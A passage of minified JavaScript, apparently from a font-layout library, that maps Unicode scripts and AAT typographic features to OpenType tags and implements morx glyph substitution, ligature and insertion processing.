                J(this, t), this.xAdvance = e, this.yAdvance = n, this.xOffset = r, this.yOffset = i
            }, Ci                                                                                                                                                                                                    = {
                Caucasian_Albanian: "aghb",
                Arabic: "arab",
                Imperial_Aramaic: "armi",
                Armenian: "armn",
                Avestan: "avst",
                Balinese: "bali",
                Bamum: "bamu",
                Bassa_Vah: "bass",
                Batak: "batk",
                Bengali: ["bng2", "beng"],
                Bopomofo: "bopo",
                Brahmi: "brah",
                Braille: "brai",
                Buginese: "bugi",
                Buhid: "buhd",
                Chakma: "cakm",
                Canadian_Aboriginal: "cans",
                Carian: "cari",
                Cham: "cham",
                Cherokee: "cher",
                Coptic: "copt",
                Cypriot: "cprt",
                Cyrillic: "cyrl",
                Devanagari: ["dev2", "deva"],
                Deseret: "dsrt",
                Duployan: "dupl",
                Egyptian_Hieroglyphs: "egyp",
                Elbasan: "elba",
                Ethiopic: "ethi",
                Georgian: "geor",
                Glagolitic: "glag",
                Gothic: "goth",
                Grantha: "gran",
                Greek: "grek",
                Gujarati: ["gjr2", "gujr"],
                Gurmukhi: ["gur2", "guru"],
                Hangul: "hang",
                Han: "hani",
                Hanunoo: "hano",
                Hebrew: "hebr",
                Hiragana: "hira",
                Pahawh_Hmong: "hmng",
                Katakana_Or_Hiragana: "hrkt",
                Old_Italic: "ital",
                Javanese: "java",
                Kayah_Li: "kali",
                Katakana: "kana",
                Kharoshthi: "khar",
                Khmer: "khmr",
                Khojki: "khoj",
                Kannada: ["knd2", "knda"],
                Kaithi: "kthi",
                Tai_Tham: "lana",
                Lao: "lao ",
                Latin: "latn",
                Lepcha: "lepc",
                Limbu: "limb",
                Linear_A: "lina",
                Linear_B: "linb",
                Lisu: "lisu",
                Lycian: "lyci",
                Lydian: "lydi",
                Mahajani: "mahj",
                Mandaic: "mand",
                Manichaean: "mani",
                Mende_Kikakui: "mend",
                Meroitic_Cursive: "merc",
                Meroitic_Hieroglyphs: "mero",
                Malayalam: ["mlm2", "mlym"],
                Modi: "modi",
                Mongolian: "mong",
                Mro: "mroo",
                Meetei_Mayek: "mtei",
                Myanmar: ["mym2", "mymr"],
                Old_North_Arabian: "narb",
                Nabataean: "nbat",
                Nko: "nko ",
                Ogham: "ogam",
                Ol_Chiki: "olck",
                Old_Turkic: "orkh",
                Oriya: "orya",
                Osmanya: "osma",
                Palmyrene: "palm",
                Pau_Cin_Hau: "pauc",
                Old_Permic: "perm",
                Phags_Pa: "phag",
                Inscriptional_Pahlavi: "phli",
                Psalter_Pahlavi: "phlp",
                Phoenician: "phnx",
                Miao: "plrd",
                Inscriptional_Parthian: "prti",
                Rejang: "rjng",
                Runic: "runr",
                Samaritan: "samr",
                Old_South_Arabian: "sarb",
                Saurashtra: "saur",
                Shavian: "shaw",
                Sharada: "shrd",
                Siddham: "sidd",
                Khudawadi: "sind",
                Sinhala: "sinh",
                Sora_Sompeng: "sora",
                Sundanese: "sund",
                Syloti_Nagri: "sylo",
                Syriac: "syrc",
                Tagbanwa: "tagb",
                Takri: "takr",
                Tai_Le: "tale",
                New_Tai_Lue: "talu",
                Tamil: "taml",
                Tai_Viet: "tavt",
                Telugu: ["tel2", "telu"],
                Tifinagh: "tfng",
                Tagalog: "tglg",
                Thaana: "thaa",
                Thai: "thai",
                Tibetan: "tibt",
                Tirhuta: "tirh",
                Ugaritic: "ugar",
                Vai: "vai ",
                Warang_Citi: "wara",
                Old_Persian: "xpeo",
                Cuneiform: "xsux",
                Yi: "yi  ",
                Inherited: "zinh",
                Common: "zyyy",
                Unknown: "zzzz"
            }, Ai                                                                                                                                                                                                    = {
                arab: !0,
                hebr: !0,
                syrc: !0,
                thaa: !0,
                cprt: !0,
                khar: !0,
                phnx: !0,
                "nko ": !0,
                lydi: !0,
                avst: !0,
                armi: !0,
                phli: !0,
                prti: !0,
                sarb: !0,
                orkh: !0,
                samr: !0,
                mand: !0,
                merc: !0,
                mero: !0,
                mani: !0,
                mend: !0,
                nbat: !0,
                narb: !0,
                palm: !0,
                phlp: !0
            }, Ei                                                                                                                                                                                                    = {
                allTypographicFeatures: {code: 0, exclusive: !1, allTypeFeatures: 0},
                ligatures: {
                    code: 1,
                    exclusive: !1,
                    requiredLigatures: 0,
                    commonLigatures: 2,
                    rareLigatures: 4,
                    rebusPictures: 8,
                    diphthongLigatures: 10,
                    squaredLigatures: 12,
                    abbrevSquaredLigatures: 14,
                    symbolLigatures: 16,
                    contextualLigatures: 18,
                    historicalLigatures: 20
                },
                cursiveConnection: {code: 2, exclusive: !0, unconnected: 0, partiallyConnected: 1, cursive: 2},
                letterCase: {code: 3, exclusive: !0},
                verticalSubstitution: {code: 4, exclusive: !1, substituteVerticalForms: 0},
                linguisticRearrangement: {code: 5, exclusive: !1, linguisticRearrangement: 0},
                numberSpacing: {code: 6, exclusive: !0, monospacedNumbers: 0, proportionalNumbers: 1, thirdWidthNumbers: 2, quarterWidthNumbers: 3},
                smartSwash: {code: 8, exclusive: !1, wordInitialSwashes: 0, wordFinalSwashes: 2, nonFinalSwashes: 8},
                diacritics: {code: 9, exclusive: !0, showDiacritics: 0, hideDiacritics: 1, decomposeDiacritics: 2},
                verticalPosition: {code: 10, exclusive: !0, normalPosition: 0, superiors: 1, inferiors: 2, ordinals: 3, scientificInferiors: 4},
                fractions: {code: 11, exclusive: !0, noFractions: 0, verticalFractions: 1, diagonalFractions: 2},
                overlappingCharacters: {code: 13, exclusive: !1, preventOverlap: 0},
                typographicExtras: {code: 14, exclusive: !1, slashedZero: 4},
                mathematicalExtras: {code: 15, exclusive: !1, mathematicalGreek: 10},
                ornamentSets: {code: 16, exclusive: !0, noOrnaments: 0, dingbats: 1, piCharacters: 2, fleurons: 3, decorativeBorders: 4, internationalSymbols: 5, mathSymbols: 6},
                characterAlternatives: {code: 17, exclusive: !0, noAlternates: 0},
                designComplexity: {code: 18, exclusive: !0, designLevel1: 0, designLevel2: 1, designLevel3: 2, designLevel4: 3, designLevel5: 4},
                styleOptions: {code: 19, exclusive: !0, noStyleOptions: 0, displayText: 1, engravedText: 2, illuminatedCaps: 3, titlingCaps: 4, tallCaps: 5},
                characterShape: {
                    code: 20,
                    exclusive: !0,
                    traditionalCharacters: 0,
                    simplifiedCharacters: 1,
                    JIS1978Characters: 2,
                    JIS1983Characters: 3,
                    JIS1990Characters: 4,
                    traditionalAltOne: 5,
                    traditionalAltTwo: 6,
                    traditionalAltThree: 7,
                    traditionalAltFour: 8,
                    traditionalAltFive: 9,
                    expertCharacters: 10,
                    JIS2004Characters: 11,
                    hojoCharacters: 12,
                    NLCCharacters: 13,
                    traditionalNamesCharacters: 14
                },
                numberCase: {code: 21, exclusive: !0, lowerCaseNumbers: 0, upperCaseNumbers: 1},
                textSpacing: {
                    code: 22,
                    exclusive: !0,
                    proportionalText: 0,
                    monospacedText: 1,
                    halfWidthText: 2,
                    thirdWidthText: 3,
                    quarterWidthText: 4,
                    altProportionalText: 5,
                    altHalfWidthText: 6
                },
                transliteration: {code: 23, exclusive: !0, noTransliteration: 0},
                annotation: {
                    code: 24,
                    exclusive: !0,
                    noAnnotation: 0,
                    boxAnnotation: 1,
                    roundedBoxAnnotation: 2,
                    circleAnnotation: 3,
                    invertedCircleAnnotation: 4,
                    parenthesisAnnotation: 5,
                    periodAnnotation: 6,
                    romanNumeralAnnotation: 7,
                    diamondAnnotation: 8,
                    invertedBoxAnnotation: 9,
                    invertedRoundedBoxAnnotation: 10
                },
                kanaSpacing: {code: 25, exclusive: !0, fullWidthKana: 0, proportionalKana: 1},
                ideographicSpacing: {code: 26, exclusive: !0, fullWidthIdeographs: 0, proportionalIdeographs: 1, halfWidthIdeographs: 2},
                unicodeDecomposition: {code: 27, exclusive: !1, canonicalComposition: 0, compatibilityComposition: 2, transcodingComposition: 4},
                rubyKana: {code: 28, exclusive: !1, rubyKana: 2},
                CJKSymbolAlternatives: {
                    code: 29,
                    exclusive: !0,
                    noCJKSymbolAlternatives: 0,
                    CJKSymbolAltOne: 1,
                    CJKSymbolAltTwo: 2,
                    CJKSymbolAltThree: 3,
                    CJKSymbolAltFour: 4,
                    CJKSymbolAltFive: 5
                },
                ideographicAlternatives: {
                    code: 30,
                    exclusive: !0,
                    noIdeographicAlternatives: 0,
                    ideographicAltOne: 1,
                    ideographicAltTwo: 2,
                    ideographicAltThree: 3,
                    ideographicAltFour: 4,
                    ideographicAltFive: 5
                },
                CJKVerticalRomanPlacement: {code: 31, exclusive: !0, CJKVerticalRomanCentered: 0, CJKVerticalRomanHBaseline: 1},
                italicCJKRoman: {code: 32, exclusive: !1, CJKItalicRoman: 2},
                caseSensitiveLayout: {code: 33, exclusive: !1, caseSensitiveLayout: 0, caseSensitiveSpacing: 2},
                alternateKana: {code: 34, exclusive: !1, alternateHorizKana: 0, alternateVertKana: 2},
                stylisticAlternatives: {
                    code: 35,
                    exclusive: !1,
                    noStylisticAlternates: 0,
                    stylisticAltOne: 2,
                    stylisticAltTwo: 4,
                    stylisticAltThree: 6,
                    stylisticAltFour: 8,
                    stylisticAltFive: 10,
                    stylisticAltSix: 12,
                    stylisticAltSeven: 14,
                    stylisticAltEight: 16,
                    stylisticAltNine: 18,
                    stylisticAltTen: 20,
                    stylisticAltEleven: 22,
                    stylisticAltTwelve: 24,
                    stylisticAltThirteen: 26,
                    stylisticAltFourteen: 28,
                    stylisticAltFifteen: 30,
                    stylisticAltSixteen: 32,
                    stylisticAltSeventeen: 34,
                    stylisticAltEighteen: 36,
                    stylisticAltNineteen: 38,
                    stylisticAltTwenty: 40
                },
                contextualAlternates: {code: 36, exclusive: !1, contextualAlternates: 0, swashAlternates: 2, contextualSwashAlternates: 4},
                lowerCase: {code: 37, exclusive: !0, defaultLowerCase: 0, lowerCaseSmallCaps: 1, lowerCasePetiteCaps: 2},
                upperCase: {code: 38, exclusive: !0, defaultUpperCase: 0, upperCaseSmallCaps: 1, upperCasePetiteCaps: 2},
                languageTag: {code: 39, exclusive: !0},
                CJKRomanSpacing: {code: 103, exclusive: !0, halfWidthCJKRoman: 0, proportionalCJKRoman: 1, defaultCJKRoman: 2, fullWidthCJKRoman: 3}
            }, Pi                                                                                                                                                                                                    = function (t, e) {
                return [Ei[t].code, Ei[t][e]]
            }, Ii                                                                                                                                                                                                    = {
                rlig: Pi("ligatures", "requiredLigatures"),
                clig: Pi("ligatures", "contextualLigatures"),
                dlig: Pi("ligatures", "rareLigatures"),
                hlig: Pi("ligatures", "historicalLigatures"),
                liga: Pi("ligatures", "commonLigatures"),
                hist: Pi("ligatures", "historicalLigatures"),
                smcp: Pi("lowerCase", "lowerCaseSmallCaps"),
                pcap: Pi("lowerCase", "lowerCasePetiteCaps"),
                frac: Pi("fractions", "diagonalFractions"),
                dnom: Pi("fractions", "diagonalFractions"),
                numr: Pi("fractions", "diagonalFractions"),
                afrc: Pi("fractions", "verticalFractions"),
                case: Pi("caseSensitiveLayout", "caseSensitiveLayout"),
                ccmp: Pi("unicodeDecomposition", "canonicalComposition"),
                cpct: Pi("CJKVerticalRomanPlacement", "CJKVerticalRomanCentered"),
                valt: Pi("CJKVerticalRomanPlacement", "CJKVerticalRomanCentered"),
                swsh: Pi("contextualAlternates", "swashAlternates"),
                cswh: Pi("contextualAlternates", "contextualSwashAlternates"),
                curs: Pi("cursiveConnection", "cursive"),
                c2pc: Pi("upperCase", "upperCasePetiteCaps"),
                c2sc: Pi("upperCase", "upperCaseSmallCaps"),
                init: Pi("smartSwash", "wordInitialSwashes"),
                fin2: Pi("smartSwash", "wordFinalSwashes"),
                medi: Pi("smartSwash", "nonFinalSwashes"),
                med2: Pi("smartSwash", "nonFinalSwashes"),
                fin3: Pi("smartSwash", "wordFinalSwashes"),
                fina: Pi("smartSwash", "wordFinalSwashes"),
                pkna: Pi("kanaSpacing", "proportionalKana"),
                half: Pi("textSpacing", "halfWidthText"),
                halt: Pi("textSpacing", "altHalfWidthText"),
                hkna: Pi("alternateKana", "alternateHorizKana"),
                vkna: Pi("alternateKana", "alternateVertKana"),
                ital: Pi("italicCJKRoman", "CJKItalicRoman"),
                lnum: Pi("numberCase", "upperCaseNumbers"),
                onum: Pi("numberCase", "lowerCaseNumbers"),
                mgrk: Pi("mathematicalExtras", "mathematicalGreek"),
                calt: Pi("contextualAlternates", "contextualAlternates"),
                vrt2: Pi("verticalSubstitution", "substituteVerticalForms"),
                vert: Pi("verticalSubstitution", "substituteVerticalForms"),
                tnum: Pi("numberSpacing", "monospacedNumbers"),
                pnum: Pi("numberSpacing", "proportionalNumbers"),
                sups: Pi("verticalPosition", "superiors"),
                subs: Pi("verticalPosition", "inferiors"),
                ordn: Pi("verticalPosition", "ordinals"),
                pwid: Pi("textSpacing", "proportionalText"),
                hwid: Pi("textSpacing", "halfWidthText"),
                qwid: Pi("textSpacing", "quarterWidthText"),
                twid: Pi("textSpacing", "thirdWidthText"),
                fwid: Pi("textSpacing", "proportionalText"),
                palt: Pi("textSpacing", "altProportionalText"),
                trad: Pi("characterShape", "traditionalCharacters"),
                smpl: Pi("characterShape", "simplifiedCharacters"),
                jp78: Pi("characterShape", "JIS1978Characters"),
                jp83: Pi("characterShape", "JIS1983Characters"),
                jp90: Pi("characterShape", "JIS1990Characters"),
                jp04: Pi("characterShape", "JIS2004Characters"),
                expt: Pi("characterShape", "expertCharacters"),
                hojo: Pi("characterShape", "hojoCharacters"),
                nlck: Pi("characterShape", "NLCCharacters"),
                tnam: Pi("characterShape", "traditionalNamesCharacters"),
                ruby: Pi("rubyKana", "rubyKana"),
                titl: Pi("styleOptions", "titlingCaps"),
                zero: Pi("typographicExtras", "slashedZero"),
                ss01: Pi("stylisticAlternatives", "stylisticAltOne"),
                ss02: Pi("stylisticAlternatives", "stylisticAltTwo"),
                ss03: Pi("stylisticAlternatives", "stylisticAltThree"),
                ss04: Pi("stylisticAlternatives", "stylisticAltFour"),
                ss05: Pi("stylisticAlternatives", "stylisticAltFive"),
                ss06: Pi("stylisticAlternatives", "stylisticAltSix"),
                ss07: Pi("stylisticAlternatives", "stylisticAltSeven"),
                ss08: Pi("stylisticAlternatives", "stylisticAltEight"),
                ss09: Pi("stylisticAlternatives", "stylisticAltNine"),
                ss10: Pi("stylisticAlternatives", "stylisticAltTen"),
                ss11: Pi("stylisticAlternatives", "stylisticAltEleven"),
                ss12: Pi("stylisticAlternatives", "stylisticAltTwelve"),
                ss13: Pi("stylisticAlternatives", "stylisticAltThirteen"),
                ss14: Pi("stylisticAlternatives", "stylisticAltFourteen"),
                ss15: Pi("stylisticAlternatives", "stylisticAltFifteen"),
                ss16: Pi("stylisticAlternatives", "stylisticAltSixteen"),
                ss17: Pi("stylisticAlternatives", "stylisticAltSeventeen"),
                ss18: Pi("stylisticAlternatives", "stylisticAltEighteen"),
                ss19: Pi("stylisticAlternatives", "stylisticAltNineteen"),
                ss20: Pi("stylisticAlternatives", "stylisticAltTwenty")
            }, Oi                                                                                                                                                                                                    = 1; Oi <= 99; Oi++) Ii["cv" + ("00" + Oi).slice(-2)] = [Ei.characterAlternatives.code, Oi];
            var Ti = {};
            for (var Li in Ii) {
                var Bi = Ii[Li];
                null == Ti[Bi[0]] && (Ti[Bi[0]] = {}), Ti[Bi[0]][Bi[1]] = Li
            }
            for (var Ri, Mi, zi, Fi, Di, Ni, Ui, Wi, ji = (Ri = function () {
                function t(e) {
                    J(this, t), this.table = e
                }

                return t.prototype.lookup = function (t) {
                    switch (this.table.version) {
                        case 0:
                            return this.table.values.getItem(t);
                        case 2:
                        case 4:
                            for (var e = 0, n = this.table.binarySearchHeader.nUnits - 1; e <= n;) {
                                var r = e + n >> 1, i = this.table.segments[r];
                                if (65535 === i.firstGlyph) return null;
                                if (t < i.firstGlyph) n = r - 1; else {
                                    if (!(t > i.lastGlyph)) return 2 === this.table.version ? i.value : i.values[t - i.firstGlyph];
                                    e = r + 1
                                }
                            }
                            return null;
                        case 6:
                            for (var o = 0, a = this.table.binarySearchHeader.nUnits - 1; o <= a;) {
                                var r = o + a >> 1, i = this.table.segments[r];
                                if (65535 === i.glyph) return null;
                                if (t < i.glyph) a = r - 1; else {
                                    if (!(t > i.glyph)) return i.value;
                                    o = r + 1
                                }
                            }
                            return null;
                        case 8:
                            return this.table.values[t - this.table.firstGlyph];
                        default:
                            throw new Error("Unknown lookup table format: " + this.table.version)
                    }
                }, t.prototype.glyphsForValue = function (t) {
                    var e = [];
                    switch (this.table.version) {
                        case 2:
                        case 4:
                            for (var n = this.table.segments, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                                var o;
                                if (r) {
                                    if (i >= n.length) break;
                                    o = n[i++]
                                } else {
                                    if (i = n.next(), i.done) break;
                                    o = i.value
                                }
                                var a = o;
                                if (2 === this.table.version && a.value === t) e.push.apply(e, f(a.firstGlyph, a.lastGlyph + 1)); else for (var s = 0; s < a.values.length; s++) a.values[s] === t && e.push(a.firstGlyph + s)
                            }
                            break;
                        case 6:
                            for (var u = this.table.segments, c = Array.isArray(u), l = 0, u = c ? u : H(u); ;) {
                                var h;
                                if (c) {
                                    if (l >= u.length) break;
                                    h = u[l++]
                                } else {
                                    if (l = u.next(), l.done) break;
                                    h = l.value
                                }
                                var p = h;
                                p.value === t && e.push(p.glyph)
                            }
                            break;
                        case 8:
                            for (var d = 0; d < this.table.values.length; d++) this.table.values[d] === t && e.push(this.table.firstGlyph + d);
                            break;
                        default:
                            throw new Error("Unknown lookup table format: " + this.table.version)
                    }
                    return e
                }, t
            }(), function (t, e, n, r, i) {
                var o = {};
                return Object.keys(r).forEach(function (t) {
                    o[t] = r[t]
                }), o.enumerable = !!o.enumerable, o.configurable = !!o.configurable, ("value" in o || o.initializer) && (o.writable = !0), o = n.slice().reverse().reduce(function (n, r) {
                    return r(t, e, n) || n
                }, o), i && void 0 !== o.initializer && (o.value = o.initializer ? o.initializer.call(i) : void 0, o.initializer = void 0), void 0 === o.initializer && (Object.defineProperty(t, e, o), o = null), o
            }(Ri.prototype, "glyphsForValue", [o], q(Ri.prototype, "glyphsForValue"), Ri.prototype), Ri), Gi = function () {
                function t(e) {
                    J(this, t), this.stateTable = e, this.lookupTable = new ji(e.classTable)
                }

                return t.prototype.process = function (t, e, n) {
                    for (var r = 0, i = e ? t.length - 1 : 0, o = e ? -1 : 1; 1 === o && i <= t.length || o === -1 && i >= -1;) {
                        var a = null, s = 1, u = !0;
                        i === t.length || i === -1 ? s = 0 : (a = t[i], 65535 === a.id ? s = 2 : null == (s = this.lookupTable.lookup(a.id)) && (s = 1));
                        var c = this.stateTable.stateArray.getItem(r), l = c[s], f = this.stateTable.entryTable.getItem(l);
                        0 !== s && 2 !== s && (n(a, f, i), u = !(16384 & f.flags)), r = f.newState, u && (i += o)
                    }
                    return t
                }, t.prototype.traverse = function (t) {
                    var e = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 0, n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : new ut;
                    if (!n.has(e)) {
                        n.add(e);
                        for (var r = this.stateTable, i = r.nClasses, o = r.stateArray, a = r.entryTable, s = o.getItem(e), u = 4; u < i; u++) for (var c = s[u], l = a.getItem(c), f = this.lookupTable.glyphsForValue(u), h = Array.isArray(f), p = 0, f = h ? f : H(f); ;) {
                            var d;
                            if (h) {
                                if (p >= f.length) break;
                                d = f[p++]
                            } else {
                                if (p = f.next(), p.done) break;
                                d = p.value
                            }
                            var g = d;
                            t.enter && t.enter(g, l), 0 !== l.newState && this.traverse(t, l.newState, n), t.exit && t.exit(g, l)
                        }
                    }
                }, t
            }(), Vi                                                                                          = (Mi = function () {
                function t(e) {
                    J(this, t), this.processIndicRearragement = this.processIndicRearragement.bind(this), this.processContextualSubstitution = this.processContextualSubstitution.bind(this), this.processLigature = this.processLigature.bind(this), this.processNoncontextualSubstitutions = this.processNoncontextualSubstitutions.bind(this), this.processGlyphInsertion = this.processGlyphInsertion.bind(this), this.font = e, this.morx = e.morx, this.inputCache = null
                }

                return t.prototype.process = function (t) {
                    for (var e = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}, n = this.morx.chains, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                        var o;
                        if (r) {
                            if (i >= n.length) break;
                            o = n[i++]
                        } else {
                            if (i = n.next(), i.done) break;
                            o = i.value
                        }
                        for (var a = o, s = a.defaultFlags, u = a.features, c = Array.isArray(u), l = 0, u = c ? u : H(u); ;) {
                            var f;
                            if (c) {
                                if (l >= u.length) break;
                                f = u[l++]
                            } else {
                                if (l = u.next(), l.done) break;
                                f = l.value
                            }
                            var h = f, p = void 0;
                            (p = e[h.featureType]) && p[h.featureSetting] && (s &= h.disableFlags, s |= h.enableFlags)
                        }
                        for (var d = a.subtables, g = Array.isArray(d), v = 0, d = g ? d : H(d); ;) {
                            var y;
                            if (g) {
                                if (v >= d.length) break;
                                y = d[v++]
                            } else {
                                if (v = d.next(), v.done) break;
                                y = v.value
                            }
                            var m = y;
                            m.subFeatureFlags & s && this.processSubtable(m, t)
                        }
                    }
                    for (var b = t.length - 1; b >= 0;) 65535 === t[b].id && t.splice(b, 1), b--;
                    return t
                }, t.prototype.processSubtable = function (t, e) {
                    if (this.subtable = t, this.glyphs = e, 4 === this.subtable.type) return void this.processNoncontextualSubstitutions(this.subtable, this.glyphs);
                    this.ligatureStack = [], this.markedGlyph = null, this.firstGlyph = null, this.lastGlyph = null, this.markedIndex = null;
                    var n = this.getStateMachine(t), r = this.getProcessor(), i = !!(4194304 & this.subtable.coverage);
                    return n.process(this.glyphs, i, r)
                }, t.prototype.getStateMachine = function (t) {
                    return new Gi(t.table.stateTable)
                }, t.prototype.getProcessor = function () {
                    switch (this.subtable.type) {
                        case 0:
                            return this.processIndicRearragement;
                        case 1:
                            return this.processContextualSubstitution;
                        case 2:
                            return this.processLigature;
                        case 4:
                            return this.processNoncontextualSubstitutions;
                        case 5:
                            return this.processGlyphInsertion;
                        default:
                            throw new Error("Invalid morx subtable type: " + this.subtable.type)
                    }
                }, t.prototype.processIndicRearragement = function (t, e, n) {
                    32768 & e.flags && (this.firstGlyph = n), 8192 & e.flags && (this.lastGlyph = n), w(this.glyphs, 15 & e.flags, this.firstGlyph, this.lastGlyph)
                }, t.prototype.processContextualSubstitution = function (t, e, n) {
                    var r = this.subtable.table.substitutionTable.items;
                    if (65535 !== e.markIndex) {
                        var i = r.getItem(e.markIndex), o = new ji(i);
                        t     = this.glyphs[this.markedGlyph];
                        var a = o.lookup(t.id);
                        a && (this.glyphs[this.markedGlyph] = this.font.getGlyph(a, t.codePoints))
                    }
                    if (65535 !== e.currentIndex) {
                        var s = r.getItem(e.currentIndex), u = new ji(s);
                        t     = this.glyphs[n];
                        var a = u.lookup(t.id);
                        a && (this.glyphs[n] = this.font.getGlyph(a, t.codePoints))
                    }
                    32768 & e.flags && (this.markedGlyph = n)
                }, t.prototype.processLigature = function (t, e, n) {
                    if (32768 & e.flags && this.ligatureStack.push(n), 8192 & e.flags) {
                        for (var r, i = this.subtable.table.ligatureActions, o = this.subtable.table.components, a = this.subtable.table.ligatureList, s = e.action, u = !1, c = 0, l = [], f = []; !u;) {
                            var h, p = this.ligatureStack.pop();
                            (h = l).unshift.apply(h, this.glyphs[p].codePoints);
                            var d = i.getItem(s++);
                            u     = !!(2147483648 & d);
                            var g = !!(1073741824 & d), v = (1073741823 & d) << 2 >> 2;
                            v += this.glyphs[p].id;
                            if (c += o.getItem(v), u || g) {
                                var y = a.getItem(c);
                                this.glyphs[p] = this.font.getGlyph(y, l), f.push(p), c = 0, l = []
                            } else this.glyphs[p] = this.font.getGlyph(65535)
                        }
                        (r = this.ligatureStack).push.apply(r, f)
                    }
                }, t.prototype.processNoncontextualSubstitutions = function (t, e, n) {
                    var r = new ji(t.table.lookupTable);
                    for (n = 0; n < e.length; n++) {
                        var i = e[n];
                        if (65535 !== i.id) {
                            var o = r.lookup(i.id);
                            o && (e[n] = this.font.getGlyph(o, i.codePoints))
                        }
                    }
                }, t.prototype._insertGlyphs = function (t, e, n, r) {
                    for (var i, o = []; n--;) {
                        var a = this.subtable.table.insertionActions.getItem(e++);
                        o.push(this.font.getGlyph(a))
                    }
                    r || t++, (i = this.glyphs).splice.apply(i, [t, 0].concat(o))
                }, t.prototype.processGlyphInsertion = function (t, e, n) {
                    if (32768 & e.flags && (this.markedIndex = n), 65535 !== e.markedInsertIndex) {
                        var r = (31 & e.flags) >>> 5, i = !!(1024 & e.flags);
                        this._insertGlyphs(this.markedIndex, e.markedInsertIndex, r, i)
                    }
                    if (65535 !== e.currentInsertIndex) {
                        var o = (992 & e.flags) >>> 5, a = !!(2048 & e.flags);
                        this._insertGlyphs(n, e.currentInsertIndex, o, a)
                    }
                }, t.prototype.getSupportedFeatures = function () {
                    for (var t = [], e = this.morx.chains, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                        var i;
                        if (n) {
                            if (r >= e.length) break;
                            i = e[r++]
                        } else {
                            if (r = e.next(), r.done) break;
                            i = r.value
                        }
                        for (var o = i, a = o.features, s = Array.isArray(a), u = 0, a = s ? a : H(a); ;) {
                            var c;
                            if (s) {
                                if (u >= a.length) break;
                                c = a[u++]
                            } else {
                                if (u = a.next(), u.done) break;
                                c = u.value
                            }
                            var l = c;
                            t.push([l.featureType, l.featureSetting])
                        }
                    }
                    return t
                }, t.prototype.generateInputs = function (t) {
                    return this.inputCache || this.generateInputCache(), this.inputCache[t] || []
                }, t.prototype.generateInputCache = function () {
                    this.inputCache = {};
                    for (var t = this.morx.chains, e = Array.isArray(t), n = 0, t = e ? t : H(t); ;) {
                        var r;
                        if (e) {
                            if (n >= t.length) break;
                            r = t[n++]
                        } else {
                            if (n = t.next(), n.done) break;
                            r = n.value
                        }
                        for (var i = r, o = i.defaultFlags, a = i.subtables, s = Array.isArray(a), u = 0, a = s ? a : H(a); ;) {
                            var c;
                            if (s) {
                                if (u >= a.length) break;
                                c = a[u++]
                            } else {
                                if (u = a.next(), u.done) break;
                                c = u.value
                            }
                            var l = c;
                            l.subFeatureFlags & o && this.generateInputsForSubtable(l)
                        }
                    }
                }, t.prototype.generateInputsForSubtable = function (t) {
                    var e = this;
                    if (2 === t.type) {
                        if (!!(4194304 & t.coverage)) throw new Error("Reverse subtable, not supported.");
                        this.subtable = t, this.ligatureStack = [];
                        var n = this.getStateMachine(t), r = this.getProcessor(), i = [], o = [];
                        this.glyphs = [], n.traverse({
                            enter: function (t, n) {
                                var a = e.glyphs;
                                o.push({glyphs: a.slice(), ligatureStack: e.ligatureStack.slice()});
                                var s = e.font.getGlyph(t);
                                i.push(s), a.push(i[i.length - 1]), r(a[a.length - 1], n, a.length - 1);
                                for (var u = 0, c = 0, l = 0; l < a.length && u <= 1; l++) 65535 !== a[l].id && (u++, c = a[l].id);
                                if (1 === u) {
                                    var f = i.map(function (t) {
                                        return t.id
                                    }), h = e.inputCache[c];
                                    h ? h.push(f) : e.inputCache[c] = [f]
                                }
                            }, exit: function () {
                                var t = o.pop();
                                e.glyphs = t.glyphs, e.ligatureStack = t.ligatureStack, i.pop()
                            }
                        })
                    }
                }, t
            }(), function (t, e, n, r, i) {
                var o = {};
                return Object.keys(r).forEach(function (t) {
                    o[t] = r[t]
                }), o.enumerable = !!o.enumerable, o.configurable = !!o.configurable, ("value" in o || o.initializer) && (o.writable = !0), o = n.slice().reverse().reduce(function (n, r) {
                    return r(t, e, n) || n
                }, o), i && void 0 !== o.initializer && (o.value = o.initializer ? o.initializer.call(i) : void 0, o.initializer = void 0), void 0 === o.initializer && (Object.defineProperty(t, e, o), o = null), o
            }(Mi.prototype, "getStateMachine", [o], q(Mi.prototype, "getStateMachine"), Mi.prototype), Mi), qi = function () {
                function t(e) {
                    J(this, t), this.font = e, this.morxProcessor = new Vi(e)
                }

                return t.prototype.substitute = function (t, e, n, r) {
                    return "rtl" === g(n) && t.reverse(), this.morxProcessor.process(t, v(e)), t
                }, t.prototype.getAvailableFeatures = function (t, e) {
                    return m(this.morxProcessor.getSupportedFeatures())
                }, t.prototype.stringsForGlyph = function (t) {
                    for (var e = this.morxProcessor.generateInputs(t), n = new ut, r = e, i = Array.isArray(r), o = 0, r = i ? r : H(r); ;) {
                        var a;
                        if (i) {
                            if (o >= r.length) break;
                            a = r[o++]
                        } else {
                            if (o = r.next(), o.done) break;
                            a = o.value
                        }
                        var s = a;
                        this._addStrings(s, 0, n, "")
                    }
                    return n
                }, t.prototype._addStrings = function (t, e, n, r) {
                    for (var i = this.font._cmapProcessor.codePointsForGlyph(t[e]), o = i, a = Array.isArray(o), s = 0, o = a ? o : H(o); ;) {
                        var u;
                        if (a) {
                            if (s >= o.length) break;
                            u = o[s++]
                        } else {
                            if (s = o.next(), s.done) break;
                            u = s.value
                        }
                        var c = u, l = r + at(c);
                        e < t.length - 1 ? this._addStrings(t, e + 1, n, l) : n.add(l)
                    }
                }, t
            }(), Hi                                                                                            = function () {
                function t(e, n, r) {
                    J(this, t), this.font = e, this.script = n, this.language = r, this.direction = g(n), this.stages = [], this.globalFeatures = {}, this.allFeatures = {}
                }

                return t.prototype._addFeatures = function (t) {
                    for (var e = this.stages[this.stages.length - 1], n = t, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                        var o;
                        if (r) {
                            if (i >= n.length) break;
                            o = n[i++]
                        } else {
                            if (i = n.next(), i.done) break;
                            o = i.value
                        }
                        var a = o;
                        this.allFeatures[a] || (e.push(a), this.allFeatures[a] = !0)
                    }
                }, t.prototype._addGlobal = function (t) {
                    for (var e = t, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                        var i;
                        if (n) {
                            if (r >= e.length) break;
                            i = e[r++]
                        } else {
                            if (r = e.next(), r.done) break;
                            i = r.value
                        }
                        var o                  = i;
                        this.globalFeatures[o] = !0
                    }
